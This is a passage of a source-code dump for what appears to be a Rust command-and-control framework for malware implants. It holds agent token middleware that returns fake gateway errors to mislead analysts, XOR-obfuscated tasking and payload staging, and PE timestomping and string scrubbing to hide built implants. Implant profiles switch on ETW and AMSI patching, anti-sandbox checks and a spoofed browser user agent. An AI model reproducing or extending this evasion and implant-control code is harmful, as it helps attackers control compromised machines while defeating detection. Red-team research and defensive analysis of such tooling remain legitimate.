bcrypt on same salt\n    let computed_hash: Vec<u8> = tokio::task::spawn_blocking(move || {\n        let mut h = [0u8; BCRYPT_HASH_BYTES];\n        bcrypt(BCRYPT_COST, &salt, password.as_bytes(), &mut h);\n        h.to_vec()\n    })\n    .await\n    .expect(\"bcrypt task panicked\");\n\n    computed_hash == expected_hash\n}\n\n/// Create a new operator in the database, taking in a plaintext password and hashing it with BCrypt\n/// and a random salt.\n///\n/// The hashed password will be stored in the database, **not** the plaintext version.\npub async fn create_new_operator(username: &str, password: &str, state: Arc<AppState>) {\n    let mut salt = [0u8; SALT_BYTES];\n    rng().fill_bytes(&mut salt);\n\n    let salt_clone = salt.to_vec();\n    let password = password.to_string();\n\n    let computed_hash = tokio::task::spawn_blocking(move || {\n        let mut hash_output = [0u8; BCRYPT_HASH_BYTES];\n        bcrypt(\n            BCRYPT_COST,\n            &salt_clone,\n            password.as_bytes(),\n            &mut hash_output,\n        );\n\n        hash_output.to_vec()\n    })\n    .await\n    .expect(\"Could not compute hash in create_new_operator\");\n\n    let salt_b64 = general_purpose::STANDARD.encode(salt);\n    let hash_b64 = general_purpose::STANDARD.encode(&computed_hash);\n\n    state\n        .db_pool\n        .add_operator(username, &hash_b64, &salt_b64)\n        .await\n        .unwrap();\n}\n\n/// Authenticates an agent based on a header: `Authorization`. The agent will carry a security token which\n/// was set by the operator so that we can verify the inbound connection DOES in fact relate to an agent under\n/// our control.\n///\n/// This will reduce the attack surface of API's close to the database, and reduce the likelihood of a DDOS due to\n/// batting the request off before we actually deal with it past middleware.\n///\n/// If the checks fail, a BAD_GATEWAY status will be returned, which may be a little more OPSEC savvy in that it may\n/// throw off analysis thinking the server is down, whereas a 404 may indicate the server is active.\npub async fn authenticate_agent_by_header_token(\n    State(state): State<Arc<AppState>>,\n    addr: ConnectInfo<SocketAddr>,\n    headers: HeaderMap,\n    request: Request,\n    next: Next,\n) -> impl IntoResponse {\n    let ip = if let Some(h) = headers.get(\"X-Forwarded-For\") {\n        h.to_str().unwrap_or(\"Not Found\")\n    } else {\n        \"Not found\"\n    };\n\n    //\n    // First, we need to check whether the request is going to a URI in which a download is staged\n    // as we do not want to gate keep that as requiring the Auth header.\n    //\n\n    let uri = request.uri().to_string();\n    let uri = &uri[1..];\n    let endpoints_lock_start = Instant::now();\n    let is_download = {\n        let lock = state.endpoints.read().await;\n        lock.download_endpoints.contains_key(uri)\n    };\n    let endpoints_lock_wait_ms = endpoints_lock_start.elapsed().as_millis();\n    if endpoints_lock_wait_ms > LOCK_WAIT_WARN_MS {\n        log_error_async(&format!(\n            \"Slow endpoints read lock: {endpoints_lock_wait_ms}ms for uri {uri} from {ip}\"\n        ))\n        .await;\n    }\n\n    if is_download {\n        log_download_accessed(uri, ip).await;\n        return next.run(request).await.into_response();\n    }\n\n    //\n    // That URI wasn't requested, therefore we want to apply our auth check.\n    //\n\n    let h = match request.headers().get(\"authorization\") {\n        Some(h) => h,\n        None => {\n            log_page_accessed_no_auth(uri, ip).await;\n            return StatusCode::BAD_GATEWAY.into_response();\n        }\n    };\n\n    let auth_header = match h.to_str() {\n        Ok(head) => head,\n        Err(_) => {\n            log_page_accessed_no_auth(uri, ip).await;\n            return StatusCode::BAD_GATEWAY.into_response();\n        }\n    };\n\n    let tokens_lock_start = Instant::now();\n    let has_token = {\n        let lock = state.agent_tokens.read().await;\n        lock.contains(auth_header)\n    };\n\n    let tokens_lock_wait_ms = tokens_lock_start.elapsed().as_millis();\n    if tokens_lock_wait_ms > LOCK_WAIT_WARN_MS {\n        log_error_async(&format!(\n            \"Slow agent_tokens read lock: {tokens_lock_wait_ms}ms for uri {uri} from {ip}\"\n        ))\n        .await;\n    }\n\n    if has_token {\n        // The happy path, token present\n        // log_page_accessed_auth(uri, ip).await;\n        return next.run(request).await.into_response();\n    }\n\n    // The unhappy path\n    log_page_accessed_no_auth(uri, ip).await;\n    StatusCode::BAD_GATEWAY.into_response()\n}\n\npub async fn logout_middleware(\n    jar: CookieJar,\n    State(state): State<Arc<AppState>>,\n    request: Request,\n    next: Next,\n) -> impl IntoResponse {\n    if let Some(session) = jar.get(AUTH_COOKIE_NAME) {\n        let session = session.to_string();\n\n        state.remove_session(&session).await;\n        return next.run(request).await.into_response();\n    }\n\n    return StatusCode::NOT_FOUND.into_response();\n}\n"
  },
  {
    "path": "c2/src/net.rs",
    "content": "//! Module relating to functionality over the wire, such as transformation of data in transit\n\nuse axum::{\n    body::Body,\n    http::{\n        HeaderValue, StatusCode,\n        header::{CONTENT_DISPOSITION, CONTENT_TYPE},\n    },\n    response::{IntoResponse, Response},\n};\nuse futures::StreamExt;\nuse shared::{\n    net::{TasksNetworkStream, XorEncode, encode_u16buf_to_u8buf},\n    tasks::{Command, Task},\n};\nuse std::path::PathBuf;\nuse tokio_util::io::ReaderStream;\n\nuse crate::{FILE_STORE_PATH, logging::log_error_async};\n\n/// Serialises pending tasks to be sent over the wire to be consumed by the agent.\n///\n/// # Returns\n/// If the input task is `None`, the function will serialise a Sleep command in the correct\n/// format for the agent. Otherwise, it will serialise every task into a valid serde json\n/// byte vector, and return that.\npub async fn serialise_tasks_for_agent(tasks: Option<Vec<Task>>) -> Vec<u8> {\n    let mut responses: TasksNetworkStream = Vec::new();\n\n    let tasks: Vec<Task> = match tasks {\n        Some(tasks) => tasks,\n        None => {\n            let raw = prepare_response_packet(Task {\n                id: 0,\n                command: Command::Sleep,\n                metadata: None,\n                completed_time: 0,\n            })\n            .await\n            .xor_network_stream();\n            responses.push(raw);\n            return serde_json::to_vec(&responses).unwrap();\n        }\n    };\n\n    for task in tasks {\n        let raw = prepare_response_packet(task).await.xor_network_stream();\n        responses.push(raw)\n    }\n\n    serde_json::to_vec(&responses).unwrap()\n}\n\nasync fn prepare_response_packet(task: Task) -> Vec<u8> {\n    let mut packet = from_task_id_bytes(task.id);\n\n    let (low, high) = task.command.to_u16_tuple_le();\n    packet.push(low);\n    packet.push(high);\n\n    // insert sizeof i64 of zeros for the completed time, packet is u16 len so we need 4\n    packet.push(0);\n    packet.push(0);\n    packet.push(0);\n    packet.push(0);\n\n    if task.metadata.is_none() {\n        return encode_u16buf_to_u8buf(&packet);\n    }\n\n    // Now encode in the metadata\n    let data = task.metadata.unwrap();\n    let mut data_bytes: Vec<u16> = data.encode_utf16().collect();\n\n    packet.append(&mut data_bytes);\n\n    encode_u16buf_to_u8buf(&packet)\n}\n\nfn from_task_id_bytes(id: i32) -> Vec<u16> {\n    let id_bytes = id.to_le_bytes();\n    let low = u16::from_le_bytes([id_bytes[0], id_bytes[1]]);\n    let high = u16::from_le_bytes([id_bytes[2], id_bytes[3]]);\n\n    vec![low, high]\n}\n\n/// Serves a file from the local disk by its file name. The server will look in the\n/// ../staged_files/ dir for the relevant file.\npub async fn serve_file(filename: &String, xor_key: Option<u8>) -> Response {\n    let mut path = PathBuf::from(FILE_STORE_PATH);\n    path.push(filename);\n\n    let file = match tokio::fs::File::open(path).await {\n        Ok(f) => f,\n        Err(e) => {\n            log_error_async(&format!(\"Failed to read file. {e}\")).await;\n            return StatusCode::BAD_GATEWAY.into_response();\n        }\n    };\n\n    let stream = ReaderStream::new(file);\n\n    // Serve XOR'ed bytes if the file was staged as XOR payload\n    let body = if let Some(key) = xor_key {\n        let xor_stream = stream.map(move |chunk| {\n            chunk.map(|bytes| {\n                let mut data: Vec<u8> = bytes.to_vec();\n                for byte in data.iter_mut() {\n                    *byte ^= key;\n                }\n                axum::body::Bytes::from(data)\n            })\n        });\n        Body::from_stream(xor_stream)\n    } else {\n        Body::from_stream(stream)\n    };\n\n    Response::builder()\n        .status(StatusCode::OK)\n        .header(\n            CONTENT_TYPE,\n            HeaderValue::from_static(\"application/octet-stream\"),\n        )\n        .header(\n            CONTENT_DISPOSITION,\n            HeaderValue::from_str(&format!(\"inline; filename=\\\"{filename}\\\"\")).unwrap(),\n        )\n        .body(body)\n        .unwrap()\n}\n"
  },
  {
    "path": "c2/src/pe_utils/mod.rs",
    "content": "use std::{io::SeekFrom, path::Path};\n\nuse chrono::NaiveDateTime;\nuse thiserror::Error;\nuse tokio::{\n    fs::{File, OpenOptions},\n    io::{AsyncReadExt, AsyncSeekExt, AsyncWriteExt},\n};\n\nuse crate::{\n    logging::log_error_async,\n    pe_utils::types::{IMAGE_DOS_HEADER, IMAGE_NT_HEADERS64},\n};\n\nmod types;\n\n#[derive(Error, Debug)]\npub enum PeScrubError {\n    #[error(\"unable to open file, {0}\")]\n    FileOpen(String),\n    #[error(\"unable to read buffer from file object, {0}\")]\n    FileRead(String),\n    #[error(\"did not match on magic bytes, got: {0}\")]\n    MagicBytesMZ(u16),\n    #[error(\"could not read file content, but not a file read error..\")]\n    NoRead,\n    #[error(\"datetime was not formatted correctly, must be british formatting - %d/%m/%Y %H:%M:%S\")]\n    DTMismatch,\n    #[error(\"Circuit breaker hit in loop\")]\n    CircuitBreaker,\n    #[error(\"the buffer was too small\")]\n    BuffTooSmall,\n    #[error(\"could not write to file, {0}\")]\n    FileWriteError(String),\n}\n\n/// Timestomps the compiled time of a given PE.\n///\n/// # Args\n/// - `dt_str`: The datetime in British format for the binary to have in its compiled time headers.\n/// - `build_path`: The path to the file to timestomp on disk.\n///\n/// # Returns\n/// The function only returns meaningful data on error, being [`TimestompError`]. On success nothing is returned,\n/// the original file is modified in place.\npub async fn timestomp_binary_compile_date(\n    dt_str: &str,\n    build_path: &Path,\n) -> Result<(), PeScrubError> {\n    let mut file = OpenOptions::new()\n        .read(true)\n        .write(true)\n        .open(build_path)\n        .await\n        .map_err(|e| PeScrubError::FileOpen(e.to_string()))?;\n\n    //\n    // Read the first 2 kb of the binary into our buffer and grab the e_lfanew so we can offset to the\n    // TimeDateStamp field\n    //\n    const INITIAL_LEN: usize = 2000;\n    let mut buf = Vec::with_capacity(INITIAL_LEN);\n    unsafe { buf.set_len(INITIAL_LEN) };\n\n    if let Err(e) = file.read_exact(&mut buf).await {\n        return Err(PeScrubError::FileRead(e.to_string()));\n    }\n\n    let p_dos_header = buf.as_ptr() as *const IMAGE_DOS_HEADER;\n\n    // SAFETY: We know this is not null\n    let dos_header = unsafe { &*(p_dos_header) };\n    if dos_header.e_magic != 0x5a4d {\n        return Err(PeScrubError::MagicBytesMZ(dos_header.e_magic));\n    }\n\n    // check that we have the NT header in the buffer, if not, then just read the whole file,\n    // but this should not happen\n    if dos_header.e_lfanew as usize + size_of::<IMAGE_NT_HEADERS64>() > buf.len() {\n        return Err(PeScrubError::BuffTooSmall);\n    }\n\n    //\n    // Create the datetime as epoch then write to the original file at the correct offset (e_lfanew + 8 bytes)\n    //\n    let timestamp = str_to_epoch(dt_str)?;\n\n    const OFFSET_TIMESTAMP: u64 = 8;\n    file.seek(SeekFrom::Start(\n        dos_header.e_lfanew as u64 + OFFSET_TIMESTAMP,\n    ))\n    .await\n    .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    file.write_all(&timestamp.to_le_bytes())\n        .await\n        .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    file.flush()\n        .await\n        .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    Ok(())\n}\n\nfn str_to_epoch(dt_str: &str) -> Result<u32, PeScrubError> {\n    let datetime = match NaiveDateTime::parse_from_str(dt_str, \"%d/%m/%Y %H:%M:%S\") {\n        Ok(d) => d,\n        Err(_) => return Err(PeScrubError::DTMismatch),\n    };\n\n    Ok(datetime.and_utc().timestamp() as u32)\n}\n\n/// Scrubs all occurrences of `needle` from the file at `path`, overwriting it in place.\n///\n/// If `replacement`` is:\n/// - `None`: the bytes are zeroed out.\n/// - `Some(r)`: the bytes are zeroed and then the first `r.len()` bytes are replaced with `r`.\n///\n/// # Error\n/// Function returns a [`PeScrubError`] if an error occurs.\npub async fn scrub_strings(\n    build_path: &Path,\n    needle: &[u8],\n    replacement: Option<&[u8]>,\n) -> Result<(), PeScrubError> {\n    let mut file = OpenOptions::new()\n        .read(true)\n        .write(true)\n        .open(build_path)\n        .await\n        .map_err(|e| PeScrubError::FileOpen(e.to_string()))?;\n\n    let file_len = file.metadata().await.unwrap().len() as usize;\n\n    let mut buf = Vec::with_capacity(file_len);\n    unsafe { buf.set_len(file_len) };\n\n    if let Err(e) = file.read_exact(&mut buf).await {\n        return Err(PeScrubError::FileRead(e.to_string()));\n    }\n\n    const CIRCUIT_BREAKER_MAX: u32 = 10000;\n    let mut i = 0;\n\n    while let Some(pos) = buf.windows(needle.len()).position(|w| w.eq(needle)) {\n        let end = pos + needle.len();\n        if let Some(replacement) = replacement {\n            if replacement.len() > needle.len() {\n                let s = String::from_utf8_lossy(needle);\n                log_error_async(&format!(\n                    \"Could not scrub string {s}, replacement was longer than input.\"\n                ))\n                .await;\n\n                continue;\n            }\n\n            buf[pos..end].fill(0);\n\n            let end_replacement = pos + replacement.len();\n            buf[pos..end_replacement].copy_from_slice(replacement);\n        } else {\n            buf[pos..end].fill(0);\n        }\n\n        i += 1;\n        if i >= CIRCUIT_BREAKER_MAX {\n            //\n            // We hit the circuit breaker for the loop - write what changes were made to the binary,\n            // and return an error, discontinuing the loop.\n            //\n            return commit_files(&mut file, &mut buf).await;\n        }\n    }\n\n    commit_files(&mut file, &mut buf).await\n}\n\nasync fn commit_files(file: &mut File, buf: &mut Vec<u8>) -> Result<(), PeScrubError> {\n    file.seek(SeekFrom::Start(0))\n        .await\n        .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    file.write_all(&buf)\n        .await\n        .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    file.flush()\n        .await\n        .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?;\n\n    Ok(())\n}\n"
  },
  {
    "path": "c2/src/pe_utils/types.rs",
    "content": "#[repr(C)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_FILE_HEADER {\n    pub Machine: IMAGE_FILE_MACHINE,\n    pub NumberOfSections: u16,\n    pub TimeDateStamp: u32,\n    pub PointerToSymbolTable: u32,\n    pub NumberOfSymbols: u32,\n    pub SizeOfOptionalHeader: u16,\n    pub Characteristics: IMAGE_FILE_CHARACTERISTICS,\n}\n\n#[repr(transparent)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_FILE_MACHINE(pub u16);\n\n#[repr(transparent)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_FILE_CHARACTERISTICS(pub u16);\n\n#[repr(C)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_NT_HEADERS64 {\n    pub Signature: u32,\n    pub FileHeader: IMAGE_FILE_HEADER,\n    pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,\n}\n\n#[repr(C, packed(2))]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_DOS_HEADER {\n    pub e_magic: u16,\n    pub e_cblp: u16,\n    pub e_cp: u16,\n    pub e_crlc: u16,\n    pub e_cparhdr: u16,\n    pub e_minalloc: u16,\n    pub e_maxalloc: u16,\n    pub e_ss: u16,\n    pub e_sp: u16,\n    pub e_csum: u16,\n    pub e_ip: u16,\n    pub e_cs: u16,\n    pub e_lfarlc: u16,\n    pub e_ovno: u16,\n    pub e_res: [u16; 4],\n    pub e_oemid: u16,\n    pub e_oeminfo: u16,\n    pub e_res2: [u16; 10],\n    pub e_lfanew: i32,\n}\n\n#[repr(C, packed(4))]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_OPTIONAL_HEADER64 {\n    pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC,\n    pub MajorLinkerVersion: u8,\n    pub MinorLinkerVersion: u8,\n    pub SizeOfCode: u32,\n    pub SizeOfInitializedData: u32,\n    pub SizeOfUninitializedData: u32,\n    pub AddressOfEntryPoint: u32,\n    pub BaseOfCode: u32,\n    pub ImageBase: u64,\n    pub SectionAlignment: u32,\n    pub FileAlignment: u32,\n    pub MajorOperatingSystemVersion: u16,\n    pub MinorOperatingSystemVersion: u16,\n    pub MajorImageVersion: u16,\n    pub MinorImageVersion: u16,\n    pub MajorSubsystemVersion: u16,\n    pub MinorSubsystemVersion: u16,\n    pub Win32VersionValue: u32,\n    pub SizeOfImage: u32,\n    pub SizeOfHeaders: u32,\n    pub CheckSum: u32,\n    pub Subsystem: IMAGE_SUBSYSTEM,\n    pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS,\n    pub SizeOfStackReserve: u64,\n    pub SizeOfStackCommit: u64,\n    pub SizeOfHeapReserve: u64,\n    pub SizeOfHeapCommit: u64,\n    pub LoaderFlags: u32,\n    pub NumberOfRvaAndSizes: u32,\n    pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],\n}\n\n#[repr(transparent)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_OPTIONAL_HEADER_MAGIC(pub u16);\n\n#[repr(transparent)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_DLL_CHARACTERISTICS(pub u16);\n\n#[repr(transparent)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_SUBSYSTEM(pub u16);\n\n#[repr(C)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_DATA_DIRECTORY {\n    pub VirtualAddress: u32,\n    pub Size: u32,\n}\n\n#[repr(C)]\n#[allow(non_snake_case, non_camel_case_types)]\npub struct IMAGE_EXPORT_DIRECTORY {\n    pub Characteristics: u32,\n    pub TimeDateStamp: u32,\n    pub MajorVersion: u16,\n    pub MinorVersion: u16,\n    pub Name: u32,\n    pub Base: u32,\n    pub NumberOfFunctions: u32,\n    pub NumberOfNames: u32,\n    pub AddressOfFunctions: u32,\n    pub AddressOfNames: u32,\n    pub AddressOfNameOrdinals: u32,\n}\n"
  },
  {
    "path": "c2/src/profiles.rs",
    "content": "use std::{\n    collections::{BTreeMap, HashSet},\n    path::{Path, PathBuf},\n};\n\nuse serde::Deserialize;\nuse shared::tasks::{Exports, NewAgentStaging, StageType, StringStomp, WyrmResult};\nuse tokio::io;\n\nuse crate::{WOFS_PATH, logging::log_error};\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct Profile {\n    pub server: Server,\n    pub implants: BTreeMap<String, Implant>,\n}\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct Server {\n    pub token: String,\n}\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct Network {\n    pub address: String,\n    pub uri: Vec<String>,\n    pub port: u16,\n    pub token: Option<String>,\n    pub sleep: Option<u64>,\n    pub useragent: Option<String>,\n    pub jitter: Option<u64>,\n}\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct Implant {\n    pub anti_sandbox: Option<AntiSandbox>,\n    pub debug: Option<bool>,\n    svc_name: String,\n    pub network: Network,\n    pub evasion: Evasion,\n    pub exports: Exports,\n    pub string_stomp: Option<StringStomp>,\n    pub mutex: Option<String>,\n    pub wofs: Option<Vec<String>>,\n}\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct AntiSandbox {\n    pub trig: Option<bool>,\n    pub ram: Option<bool>,\n}\n\n#[derive(Deserialize, Debug, Default, Clone)]\npub struct Evasion {\n    pub patch_etw: Option<bool>,\n    pub patch_amsi: Option<bool>,\n    pub timestomp: Option<String>,\n    pub spawn_as: Option<String>,\n}\n\nimpl Profile {\n    /// Constructs a [`shared::tasks::NewAgentStaging`] from the profile.\n    ///\n    /// # Args\n    /// - `listener_profile_name`: The name in the profile for which listener is selected\n    /// - `implant_profile_name`: The name in the profile for which implant profile is selected\n    /// - `stage_type`: The [`shared::tasks::StageType`] of binary to build\n    pub fn as_staged_agent(\n        &self,\n        implant_profile_name: &str,\n        stage_type: StageType,\n    ) -> WyrmResult<NewAgentStaging> {\n        //\n        // Essentially here we are going to validate the input; and reconstruct the data assuming it is correct.\n        // In the event of an error, we want to return a WyrmResult::Err to indicate there was some form of failure.\n        //\n\n        let implant = match self.implants.get(implant_profile_name) {\n            Some(i) => i,\n            None => {\n                return WyrmResult::Err(format!(\n                    \"Could not find implant profile {implant_profile_name}\"\n                ));\n            }\n        };\n\n        let build_debug = implant.debug.unwrap_or_default();\n        let patch_etw = implant.evasion.patch_etw.unwrap_or_default();\n        let patch_amsi = implant.evasion.patch_amsi.unwrap_or_default();\n\n        // Unwrap a sleep time from either profile specific, a higher order key, or if none found, use\n        // a default of 1 hr (3600 seconds).\n        let sleep_time = match implant.network.sleep {\n            Some(s) => s,\n            None => 3600,\n        };\n\n        // Try cast to i64 from u64, checking the number stays the same\n        let default_sleep_time = sleep_time as i64;\n        if default_sleep_time as u64 != sleep_time {\n            return WyrmResult::Err(format!(\n                \"Integer overflow occurred when casting from u64 to i64. Cannot proceed. \\\n            got value {sleep_time}\"\n            ));\n        }\n\n        let pe_name = format!(\"{}\", implant_profile_name);\n\n        let antisandbox_trig = if let Some(anti) = &implant.anti_sandbox {\n            anti.trig.unwrap_or_default()\n        } else {\n            false\n        };\n\n        let antisandbox_ram = if let Some(anti) = &implant.anti_sandbox {\n            anti.ram.unwrap_or_default()\n        } else {\n            false\n        };\n\n        let agent_security_token = if let Some(token) = &implant.network.token {\n            token.clone()\n        } else {\n            self.server.token.clone()\n        };\n\n        let useragent = if let Some(ua) = &implant.network.useragent {\n            ua.clone()\n        } else {\n            \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\".into()\n        };\n\n        // Validate we have at least 1 URI endpoint before insertion, otherwise error\n        if implant.network.uri.is_empty() {\n            return WyrmResult::Err(String::from(\"At least 1 URI is required for the server.\"));\n        }\n\n        if let Some(w) = &implant.wofs {\n            if let Err(e) = validate_wof_dirs(w) {\n                return WyrmResult::Err(e);\n            }\n        }\n\n        let string_stomp = StringStomp::from(&implant.string_stomp);\n\n        WyrmResult::Ok(NewAgentStaging {\n            // TODO not required\n            implant_name: String::new(),\n            default_sleep_time,\n            c2_address: implant.network.address.clone(),\n            c2_endpoints: implant.network.uri.clone(),\n            // TODO not required\n            staging_endpoint: String::new(),\n            pe_name,\n            port: implant.network.port,\n            agent_security_token,\n            antisandbox_trig,\n            antisandbox_ram,\n            stage_type,\n            build_debug,\n            useragent,\n            patch_etw,\n            patch_amsi,\n            jitter: implant.network.jitter,\n            timestomp: implant.evasion.timestomp.clone(),\n            exports: implant.exports.clone(),\n            default_spawn_as: implant.evasion.spawn_as.clone(),\n            svc_name: implant.svc_name.clone(),\n            string_stomp,\n            mutex: implant.mutex.clone(),\n            wofs: implant.wofs.clone(),\n        })\n    }\n}\n\n/// Parse profiles from within the /profiles/* directory relative to the c2\n/// crate to load configurable user profiles at runtime.\npub async fn parse_profile() -> io::Result<Profile> {\n    let path = Path::new(\"./profiles\");\n    let mut profile_paths: Vec<String> = Vec::new();\n\n    if path.is_dir() {\n        let mut read_dir = tokio::fs::read_dir(&path).await?;\n        while let Some(entry) = read_dir.next_entry().await? {\n            if entry.file_type().await.is_ok_and(|f| f.is_file()) {\n                if entry\n                    .file_name()\n                    .to_str()\n                    .is_some_and(|f| f.ends_with(\".toml\"))\n                {\n                    if let Ok(filename) = entry.file_name().into_string() {\n                        profile_paths.push(filename);\n                    };\n                }\n            }\n        }\n    } else {\n        return Err(io::Error::other(\"Could not open dir profiles.\"));\n    }\n\n    //\n    // We now only support 1 profile toml in the profile directory. If more than one is detected,\n    // then return an error, logging the error internally.\n    //\n    if profile_paths.len() != 1 {\n        let msg = \"You must have only have one `profile.toml` in /c2/profiles. Please consolidate \\\n            into one profile. You may specify multiple implant configurations to build, but you must \\\n            have one, and only one, `profile.toml`.\";\n        return Err(io::Error::other(msg));\n    }\n\n    //\n    // Now we have the profile - parse it and return it out\n    //\n    let p_path = std::mem::take(&mut profile_paths[0]);\n    let temp_path = path.join(&p_path);\n\n    let profile = match read_profile(&temp_path).await {\n        Ok(p) => p,\n        Err(e) => {\n            let msg = format!(\"Could not parse profile. {e:?}\");\n            return Err(io::Error::other(msg));\n        }\n    };\n\n    Ok(profile)\n}\n\npub fn add_listeners_from_profiles(existing: &mut HashSet<String>, p: &Profile) {\n    for (_, implant) in p.implants.iter() {\n        for uri in &implant.network.uri {\n            // Strip out the leading /\n            if uri.starts_with('/') {\n                let mut tmp = uri.clone();\n                tmp.remove(0);\n                existing.insert(tmp);\n            } else {\n                existing.insert(uri.clone());\n            }\n        }\n    }\n}\n\npub fn add_tokens_from_profiles(existing: &mut HashSet<String>, p: &Profile) {\n    // Add the default required token in the [server] attribute\n    existing.insert(p.server.token.clone());\n\n    for i in p.implants.values() {\n        if let Some(tok) = &i.network.token {\n            existing.insert(tok.clone());\n        }\n    }\n}\n\nasync fn read_profile(path: &Path) -> io::Result<Profile> {\n    let file_content = match tokio::fs::read(&path).await {\n        Ok(f) => f,\n        Err(e) => {\n            return Err(e);\n        }\n    };\n\n    if file_content.is_empty() {\n        return Err(io::Error::other(\"File content was empty.\"));\n    }\n\n    let profile = match toml::from_slice::<Profile>(&file_content) {\n        Ok(p) => p,\n        Err(e) => {\n            return Err(io::Error::other(format!(\n                \"Could not deserialise data for profile: {path:?}. {e:?}\"\n            )));\n        }\n    };\n\n    Ok(profile)\n}\n\n#[derive(Debug)]\npub struct ParsedExportStrings {\n    pub export_only_jmp_wyrm: String,\n    pub export_machine_code: String,\n    pub export_proxy: String,\n}\n\nimpl ParsedExportStrings {\n    fn empty() -> Self {\n        Self {\n            export_only_jmp_wyrm: String::new(),\n            export_machine_code: String::new(),\n            export_proxy: String::new(),\n        }\n    }\n\n    fn from(plain_only: String, machine_code: String, export_proxy: String) -> Self {\n        Self {\n            export_only_jmp_wyrm: plain_only,\n            export_machine_code: machine_code,\n            export_proxy,\n        }\n    }\n}\n\n/// Parses a Vec of [`shared::tasks::Export`] correctly formatted to be directly inserted into the\n/// cargo build process for an implant. If the input is `None`, it will return an empty string.\npub fn parse_exports_to_string_for_env(exports: &Exports) -> ParsedExportStrings {\n    let exports = match exports {\n        Some(e) => e,\n        None => return ParsedExportStrings::empty(),\n    };\n\n    let mut builder_with_machine_code = String::new();\n    let mut builder_plain = String::new();\n    let mut builder_proxy = String::new();\n\n    for e in exports {\n        if e.0 == \"Start\" {\n            log_error(\"You cannot define an export called Start, this is being skipped.\");\n            continue;\n        }\n\n        if let Some(machine_code) = &e.1.machine_code {\n            // If we have machine code present\n            builder_with_machine_code.push_str(format!(\"{}=\", e.0).as_str());\n            for m in machine_code {\n                builder_with_machine_code.push_str(format!(\"0x{:X},\", m).as_str());\n            }\n            // remove the trailing ','\n            builder_with_machine_code.remove(builder_with_machine_code.len() - 1);\n            builder_with_machine_code.push_str(\";\");\n        } else if let Some(proxy_data) = &e.1.proxy {\n            for (func, dll) in proxy_data {\n                builder_proxy.push_str(&format!(\"{}={}.{};\", func, dll, func));\n            }\n        } else {\n            builder_plain.push_str(format!(\"{};\", e.0,).as_str());\n        }\n    }\n\n    ParsedExportStrings::from(builder_plain, builder_with_machine_code, builder_proxy)\n}\n\nfn validate_wof_dirs(wofs: &Vec<String>) -> Result<(), String> {\n    for w in wofs {\n        let mut p = PathBuf::from(WOFS_PATH);\n        p.push(w);\n        if !p.exists() || !p.is_dir() {\n            return Err(format!(\"{} is not found as a wof.\", p.display()));\n        }\n    }\n\n    Ok(())\n}\n"
  },
  {
    "path": "client/Caddyfile",
    "content": ":3000 {\n    root * /usr/share/caddy\n    file_server\n    try_files {path} /index.html\n}\n"
  },
  {
    "path": "client/Cargo.toml",
    "content": "[package]\nname = \"client\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nshared = { path = \"../shared\" }\n\nleptos = { version = \"0.8.12\", features = [\"csr\"] }\nconsole_log = \"1.0\"\nlog = \"0.4.22\"\nconsole_error_panic_hook = \"0.1.7\"\nleptos_meta = \"0.8.5\"\nleptos_router = \"0.8.9\"\ngloo-net = \"0.6\"\nserde = { version = \"1.0.228\", features = [\"derive\"] }\nserde_json = \"1.0.145\"\nthiserror = \"2.0.17\"\nreactive_stores = \"0.3.0\"\nweb-sys = { version =  \"0.3.82\", features = [\n    \"BlobPropertyBag\",\n    \"HtmlAnchorElement\",\n]}\nleptos-use = { version = \"0.16.3\", features = [\"storage\"] }\ngloo-timers = \"0.3.0\"\nchrono = \"0.4.42\"\nanyhow = \"1.0.100\"\n"
  },
  {
    "path": "client/Dockerfile",
    "content": "FROM lukemathwalker/cargo-chef:latest-rust-1.90-bookworm AS chef\n\nFROM chef AS planner\nCOPY Cargo.toml ./\nCOPY c2 /c2\nCOPY client /client\nCOPY shared /shared\nCOPY loader /loader\nCOPY shared_no_std /shared_no_std\nCOPY shared_c2_client /shared_c2_client\nCOPY implant /implant\nRUN cargo chef prepare --recipe-path recipe.json\n\nFROM chef AS builder\nWORKDIR /client\n\nCOPY --from=planner /recipe.json ./recipe.json\nRUN cargo chef cook --release --recipe-path recipe.json\n\nCOPY client/ . \nCOPY ../shared /shared\nCOPY ../shared_c2_client /shared_c2_client\n\nRUN cargo install trunk wasm-bindgen-cli\nRUN rustup target add wasm32-unknown-unknown\nRUN trunk build --release\n\nFROM caddy:alpine AS runtime\nWORKDIR /usr/share/caddy\nCOPY --from=builder /client/dist .\nCOPY client/Caddyfile /etc/caddy/Caddyfile\nEXPOSE 3000\nCMD [\"caddy\", \"run\", \"--config\", \"/etc/caddy/Caddyfile\"]\n"
  },
  {
    "path": "client/index.html",
